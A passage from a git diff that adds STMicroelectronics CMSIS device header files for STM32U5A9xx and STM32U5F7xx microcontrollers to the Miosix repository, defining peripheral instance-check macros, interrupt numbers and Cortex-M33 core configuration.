((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : Master mode available (TIMx_CR2.MMS available )********/ +#define IS_TIM_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/*********** TIM Instances : Slave mode available (TIMx_SMCR available )*******/ +#define IS_TIM_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting OCxREF clear *******************/ +#define IS_TIM_OCXREF_CLEAR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : remapping capability **********************/ +#define IS_TIM_REMAP_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting repetition counter *************/ +#define IS_TIM_REPETITION_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting ADC triggering through TRGO2 ***/ +#define IS_TIM_TRGO2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/******************* TIM Instances : Timer input XOR function *****************/ +#define IS_TIM_XOR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************* TIM Instances : Timer input selection ********************/ +#define IS_TIM_TISEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) ||\ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) ||\ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) ||\ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) ||\ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) ||\ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) ||\ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)||\ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)||\ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : supporting HSE32 as input ********************/ +#define IS_TIM_HSE32_INSTANCE(INSTANCE) (((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) ||\ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : Advanced timer instances *******************/ +#define IS_TIM_ADVANCED_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting synchronization ****************/ +#define IS_TIM_SYNCHRO_INSTANCE(__INSTANCE__) (((__INSTANCE__) == TIM1_NS) || ((__INSTANCE__) == TIM1_S) || \ + ((__INSTANCE__) == TIM2_NS) || ((__INSTANCE__) == TIM2_S) || \ + ((__INSTANCE__) == TIM3_NS) || ((__INSTANCE__) == TIM3_S) || \ + ((__INSTANCE__) == TIM4_NS) || ((__INSTANCE__) == TIM4_S) || \ + ((__INSTANCE__) == TIM5_NS) || ((__INSTANCE__) == TIM5_S) || \ + ((__INSTANCE__) == TIM6_NS) || ((__INSTANCE__) == TIM6_S) || \ + ((__INSTANCE__) == TIM7_NS) || ((__INSTANCE__) == TIM7_S) || \ + ((__INSTANCE__) == TIM8_NS) || ((__INSTANCE__) == TIM8_S) || \ + ((__INSTANCE__) == TIM15_NS) || ((__INSTANCE__) == TIM15_S)) + +/****************************** TSC Instances *********************************/ +#define IS_TSC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == TSC_NS) || ((INSTANCE) == TSC_S)) + +/******************** USART Instances : Synchronous mode **********************/ +#define IS_USART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/******************** UART Instances : Asynchronous mode **********************/ +#define IS_UART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/*********************** UART Instances : FIFO mode ***************************/ +#define IS_UART_FIFO_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : SPI Slave mode **********************/ +#define IS_UART_SPI_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S))|| \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/****************** UART Instances : Auto Baud Rate detection ****************/ +#define IS_USART_AUTOBAUDRATE_DETECTION_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/****************** UART Instances : Driver Enable *****************/ +#define IS_UART_DRIVER_ENABLE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : Half-Duplex mode **********************/ +#define IS_UART_HALFDUPLEX_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************** UART Instances : Hardware Flow control ********************/ +#define IS_UART_HWFLOW_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : LIN mode **********************/ +#define IS_UART_LIN_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/******************** UART Instances : Wake-up from Stop mode **********************/ +#define IS_UART_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : IRDA mode ***************************/ +#define IS_IRDA_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/********************* USART Instances : Smard card mode ***********************/ +#define IS_SMARTCARD_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S))|| \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/******************** LPUART Instance *****************************************/ +#define IS_LPUART_INSTANCE(INSTANCE) (((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : AUTONOMOUS mode ***************************/ +#define IS_UART_AUTONOMOUS_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************************** IWDG Instances ********************************/ +#define IS_IWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == IWDG_NS) || ((INSTANCE) == IWDG_S)) + +/****************************** WWDG Instances ********************************/ +#define IS_WWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == WWDG_NS) || ((INSTANCE) == WWDG_S)) + +/****************************** UCPD Instances ********************************/ +#define IS_UCPD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == UCPD1_NS) || ((INSTANCE) == UCPD1_S)) + +/******************************* OTG FS HCD Instances *************************/ +#define IS_HCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_OTG_HS_NS) || ((INSTANCE) == USB_OTG_HS_S)) + +/******************************* OTG FS PCD Instances *************************/ +#define IS_PCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_OTG_HS_NS) || ((INSTANCE) == USB_OTG_HS_S)) + +/******************************* MDF/ADF Instances ****************************/ +#define IS_MDF_ALL_INSTANCE(INSTANCE) (((INSTANCE) == MDF1_Filter0_NS) || ((INSTANCE) == MDF1_Filter0_S) || \ + ((INSTANCE) == MDF1_Filter1_NS) || ((INSTANCE) == MDF1_Filter1_S) || \ + ((INSTANCE) == MDF1_Filter2_NS) || ((INSTANCE) == MDF1_Filter2_S) || \ + ((INSTANCE) == MDF1_Filter3_NS) || ((INSTANCE) == MDF1_Filter3_S) || \ + ((INSTANCE) == MDF1_Filter4_NS) || ((INSTANCE) == MDF1_Filter4_S) || \ + ((INSTANCE) == MDF1_Filter5_NS) || ((INSTANCE) == MDF1_Filter5_S) || \ + ((INSTANCE) == ADF1_Filter0_NS) || ((INSTANCE) == ADF1_Filter0_S)) + +/******************************* GPU2D Instances *******************************/ +#define IS_GPU2D_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == GPU2D_BASE_NS) || ((__INSTANCE__) == GPU2D_BASE_S)) + + +/** @} */ /* End of group STM32U5xx_Peripheral_Exported_macros */ + +/** @} */ /* End of group STM32U5A9xx */ + +/** @} */ /* End of group ST */ + +#ifdef __cplusplus +} +#endif + +#endif /* STM32U5A9xx_H */ + diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u5f7xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u5f7xx.h new file mode 100644 index 000000000..fb77a2f6a --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u5f7xx.h @@ -0,0 +1,27277 @@ +/** + ****************************************************************************** + * @file stm32u5f7xx.h + * @author MCD Application Team + * @brief CMSIS STM32U5F7xx Device Peripheral Access Layer Header File. + * + * This file contains: + * - Data structures and the address mapping for all peripherals + * - Peripheral's registers declarations and bits definition + * - Macros to access peripheral's registers hardware + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2023 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +#ifndef STM32U5F7xx_H +#define STM32U5F7xx_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @addtogroup ST + * @{ + */ + + +/** @addtogroup STM32U5F7xx + * @{ + */ + + +/** @addtogroup Configuration_of_CMSIS + * @{ + */ + + +/* =========================================================================================================================== */ +/* ================ Interrupt Number Definition ================ */ +/* =========================================================================================================================== */ + +typedef enum +{ +/* ======================================= ARM Cortex-M33 Specific Interrupt Numbers ======================================= */ + Reset_IRQn = -15, /*!< -15 Reset Vector, invoked on Power up and warm reset */ + NonMaskableInt_IRQn = -14, /*!< -14 Non maskable Interrupt, cannot be stopped or preempted */ + HardFault_IRQn = -13, /*!< -13 Hard Fault, all classes of Fault */ + MemoryManagement_IRQn = -12, /*!< -12 Memory Management, MPU mismatch, including Access Violation + and No Match */ + BusFault_IRQn = -11, /*!< -11 Bus Fault, Pre-Fetch-, Memory Access Fault, other address/memory + related Fault */ + UsageFault_IRQn = -10, /*!< -10 Usage Fault, i.e. Undef Instruction, Illegal State Transition */ + SecureFault_IRQn = -9, /*!< -9 Secure Fault */ + SVCall_IRQn = -5, /*!< -5 System Service Call via SVC instruction */ + DebugMonitor_IRQn = -4, /*!< -4 Debug Monitor */ + PendSV_IRQn = -2, /*!< -2 Pendable request for system service */ + SysTick_IRQn = -1, /*!< -1 System Tick Timer */ + +/* =========================================== STM32U5F7xx Specific Interrupt Numbers ================================= */ + WWDG_IRQn = 0, /*!< Window WatchDog interrupt */ + PVD_PVM_IRQn = 1, /*!< PVD/PVM through EXTI Line detection Interrupt */ + RTC_IRQn = 2, /*!< RTC non-secure interrupt */ + RTC_S_IRQn = 3, /*!< RTC secure interrupt */ + TAMP_IRQn = 4, /*!< Tamper global interrupt */ + RAMCFG_IRQn = 5, /*!< RAMCFG global interrupt */ + FLASH_IRQn = 6, /*!< FLASH non-secure global interrupt */ + FLASH_S_IRQn = 7, /*!< FLASH secure global interrupt */ + GTZC_IRQn = 8, /*!< Global TrustZone Controller interrupt */ + RCC_IRQn = 9, /*!< RCC non secure global interrupt */ + RCC_S_IRQn = 10, /*!< RCC secure global interrupt */ + EXTI0_IRQn = 11, /*!< EXTI Line0 interrupt */ + EXTI1_IRQn = 12, /*!< EXTI Line1 interrupt */ + EXTI2_IRQn = 13, /*!< EXTI Line2 interrupt */ + EXTI3_IRQn = 14, /*!< EXTI Line3 interrupt */ + EXTI4_IRQn = 15, /*!< EXTI Line4 interrupt */ + EXTI5_IRQn = 16, /*!< EXTI Line5 interrupt */ + EXTI6_IRQn = 17, /*!< EXTI Line6 interrupt */ + EXTI7_IRQn = 18, /*!< EXTI Line7 interrupt */ + EXTI8_IRQn = 19, /*!< EXTI Line8 interrupt */ + EXTI9_IRQn = 20, /*!< EXTI Line9 interrupt */ + EXTI10_IRQn = 21, /*!< EXTI Line10 interrupt */ + EXTI11_IRQn = 22, /*!< EXTI Line11 interrupt */ + EXTI12_IRQn = 23, /*!< EXTI Line12 interrupt */ + EXTI13_IRQn = 24, /*!< EXTI Line13 interrupt */ + EXTI14_IRQn = 25, /*!< EXTI Line14 interrupt */ + EXTI15_IRQn = 26, /*!< EXTI Line15 interrupt */ + IWDG_IRQn = 27, /*!< IWDG global interrupt */ + GPDMA1_Channel0_IRQn = 29, /*!< GPDMA1 Channel 0 global interrupt */ + GPDMA1_Channel1_IRQn = 30, /*!< GPDMA1 Channel 1 global interrupt */ + GPDMA1_Channel2_IRQn = 31, /*!< GPDMA1 Channel 2 global interrupt */ + GPDMA1_Channel3_IRQn = 32, /*!< GPDMA1 Channel 3 global interrupt */ + GPDMA1_Channel4_IRQn = 33, /*!< GPDMA1 Channel 4 global interrupt */ + GPDMA1_Channel5_IRQn = 34, /*!< GPDMA1 Channel 5 global interrupt */ + GPDMA1_Channel6_IRQn = 35, /*!< GPDMA1 Channel 6 global interrupt */ + GPDMA1_Channel7_IRQn = 36, /*!< GPDMA1 Channel 7 global interrupt */ + ADC1_2_IRQn = 37, /*!< ADC1_2 global interrupt */ + DAC1_IRQn = 38, /*!< DAC1 global interrupt */ + FDCAN1_IT0_IRQn = 39, /*!< FDCAN1 interrupt 0 */ + FDCAN1_IT1_IRQn = 40, /*!< FDCAN1 interrupt 1 */ + TIM1_BRK_IRQn = 41, /*!< TIM1 Break interrupt */ + TIM1_UP_IRQn = 42, /*!< TIM1 Update interrupt */ + TIM1_TRG_COM_IRQn = 43, /*!< TIM1 Trigger and Commutation interrupt */ + TIM1_CC_IRQn = 44, /*!< TIM1 Capture Compare interrupt */ + TIM2_IRQn = 45, /*!< TIM2 global interrupt */ + TIM3_IRQn = 46, /*!< TIM3 global interrupt */ + TIM4_IRQn = 47, /*!< TIM4 global interrupt */ + TIM5_IRQn = 48, /*!< TIM5 global interrupt */ + TIM6_IRQn = 49, /*!< TIM6 global interrupt */ + TIM7_IRQn = 50, /*!< TIM7 global interrupt */ + TIM8_BRK_IRQn = 51, /*!< TIM8 Break interrupt */ + TIM8_UP_IRQn = 52, /*!< TIM8 Update interrupt */ + TIM8_TRG_COM_IRQn = 53, /*!< TIM8 Trigger and Commutation interrupt */ + TIM8_CC_IRQn = 54, /*!< TIM8 Capture Compare interrupt */ + I2C1_EV_IRQn = 55, /*!< I2C1 Event interrupt */ + I2C1_ER_IRQn = 56, /*!< I2C1 Error interrupt */ + I2C2_EV_IRQn = 57, /*!< I2C2 Event interrupt */ + I2C2_ER_IRQn = 58, /*!< I2C2 Error interrupt */ + SPI1_IRQn = 59, /*!< SPI1 global interrupt */ + SPI2_IRQn = 60, /*!< SPI2 global interrupt */ + USART1_IRQn = 61, /*!< USART1 global interrupt */ + USART2_IRQn = 62, /*!< USART2 global interrupt */ + USART3_IRQn = 63, /*!< USART3 global interrupt */ + UART4_IRQn = 64, /*!< UART4 global interrupt */ + UART5_IRQn = 65, /*!< UART5 global interrupt */ + LPUART1_IRQn = 66, /*!< LPUART1 global interrupt */ + LPTIM1_IRQn = 67, /*!< LPTIM1 global interrupt */ + LPTIM2_IRQn = 68, /*!< LPTIM2 global interrupt */ + TIM15_IRQn = 69, /*!< TIM15 global interrupt */ + TIM16_IRQn = 70, /*!< TIM16 global interrupt */ + TIM17_IRQn = 71, /*!< TIM17 global interrupt */ + COMP_IRQn = 72, /*!< COMP1 and COMP2 through EXTI Lines interrupts */ + OTG_HS_IRQn = 73, /*!< USB OTG HS global interrupt */ + CRS_IRQn = 74, /*!< CRS global interrupt */ + FMC_IRQn = 75, /*!< FSMC global interrupt */ + OCTOSPI1_IRQn = 76, /*!< OctoSPI1 global interrupt */ + PWR_S3WU_IRQn = 77, /*!< PWR wake up from Stop3 interrupt */ + SDMMC1_IRQn = 78, /*!< SDMMC1 global interrupt */ + SDMMC2_IRQn = 79, /*!< SDMMC2 global interrupt */ + GPDMA1_Channel8_IRQn = 80, /*!< GPDMA1 Channel 8 global interrupt */ + GPDMA1_Channel9_IRQn = 81, /*!< GPDMA1 Channel 9 global interrupt */ + GPDMA1_Channel10_IRQn = 82, /*!< GPDMA1 Channel 10 global interrupt */ + GPDMA1_Channel11_IRQn = 83, /*!< GPDMA1 Channel 11 global interrupt */ + GPDMA1_Channel12_IRQn = 84, /*!< GPDMA1 Channel 12 global interrupt */ + GPDMA1_Channel13_IRQn = 85, /*!< GPDMA1 Channel 13 global interrupt */ + GPDMA1_Channel14_IRQn = 86, /*!< GPDMA1 Channel 14 global interrupt */ + GPDMA1_Channel15_IRQn = 87, /*!< GPDMA1 Channel 15 global interrupt */ + I2C3_EV_IRQn = 88, /*!< I2C3 event interrupt */ + I2C3_ER_IRQn = 89, /*!< I2C3 error interrupt */ + SAI1_IRQn = 90, /*!< Serial Audio Interface 1 global interrupt */ + SAI2_IRQn = 91, /*!< Serial Audio Interface 2 global interrupt */ + TSC_IRQn = 92, /*!< Touch Sense Controller global interrupt */ + RNG_IRQn = 94, /*!< RNG global interrupt */ + FPU_IRQn = 95, /*!< FPU global interrupt */ + HASH_IRQn = 96, /*!< HASH global interrupt */ + LPTIM3_IRQn = 98, /*!< LPTIM3 global interrupt */ + SPI3_IRQn = 99, /*!< SPI3 global interrupt */ + I2C4_ER_IRQn = 100, /*!< I2C4 Error interrupt */ + I2C4_EV_IRQn = 101, /*!< I2C4 Event interrupt */ + MDF1_FLT0_IRQn = 102, /*!< MDF1 Filter 0 global interrupt */ + MDF1_FLT1_IRQn = 103, /*!< MDF1 Filter 1 global interrupt */ + MDF1_FLT2_IRQn = 104, /*!< MDF1 Filter 2 global interrupt */ + MDF1_FLT3_IRQn = 105, /*!< MDF1 Filter 3 global interrupt */ + UCPD1_IRQn = 106, /*!< UCPD1 global interrupt */ + ICACHE_IRQn = 107, /*!< Instruction cache global interrupt */ + LPTIM4_IRQn = 110, /*!< LPTIM4 global interrupt */ + DCACHE1_IRQn = 111, /*!< Data cache global interrupt */ + ADF1_IRQn = 112, /*!< ADF interrupt */ + ADC4_IRQn = 113, /*!< ADC4 (12bits) global interrupt */ + LPDMA1_Channel0_IRQn = 114, /*!< LPDMA1 SmartRun Channel 0 global interrupt */ + LPDMA1_Channel1_IRQn = 115, /*!< LPDMA1 SmartRun Channel 1 global interrupt */ + LPDMA1_Channel2_IRQn = 116, /*!< LPDMA1 SmartRun Channel 2 global interrupt */ + LPDMA1_Channel3_IRQn = 117, /*!< LPDMA1 SmartRun Channel 3 global interrupt */ + DMA2D_IRQn = 118, /*!< DMA2D global interrupt */ + DCMI_PSSI_IRQn = 119, /*!< DCMI/PSSI global interrupt */ + OCTOSPI2_IRQn = 120, /*!< OCTOSPI2 global interrupt */ + MDF1_FLT4_IRQn = 121, /*!< MDF1 Filter 4 global interrupt */ + MDF1_FLT5_IRQn = 122, /*!< MDF1 Filter 5 global interrupt */ + CORDIC_IRQn = 123, /*!< CORDIC global interrupt */ + FMAC_IRQn = 124, /*!< FMAC global interrupt */ + LSECSSD_IRQn = 125, /*!< LSECSSD and MSI_PLL_UNLOCK global interrupts */ + USART6_IRQn = 126, /*!< USART6 global interrupt */ + I2C5_ER_IRQn = 127, /*!< I2C5 Error interrupt */ + I2C5_EV_IRQn = 128, /*!< I2C5 Event interrupt */ + I2C6_ER_IRQn = 129, /*!< I2C6 Error interrupt */ + I2C6_EV_IRQn = 130, /*!< I2C6 Error interrupt */ + HSPI1_IRQn = 131, /*!< HSPI1 global interrupt */ + GPU2D_IRQn = 132, /*!< GPU2D global interrupt */ + GPU2D_ER_IRQn = 133, /*!< GPU2D Error interrupt */ + GFXMMU_IRQn = 134, /*!< GFXMMU global interrupt */ + LTDC_IRQn = 135, /*!< LCD-TFT global interrupt */ + LTDC_ER_IRQn = 136, /*!< LCD-TFT Error interrupt */ + DCACHE2_IRQn = 138, /*!< DCACHE2 Data cache global interrupt */ + GFXTIM_IRQn = 139, /*!< GFXTIM global interrupt */ + JPEG_IRQn = 140 /*!< JPEG sync interrupt */ +} IRQn_Type; + +/* =========================================================================================================================== */ +/* ================ Processor and Core Peripheral Section ================ */ +/* =========================================================================================================================== */ + +/* ------- Start of section using anonymous unions and disabling warnings ------- */ +#if defined (__CC_ARM) + #pragma push + #pragma anon_unions +#elif defined (__ICCARM__) + #pragma language=extended +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32u5xx.h" /*!< STM32U5xx System */ + + +/* =========================================================================================================================== */ +/* 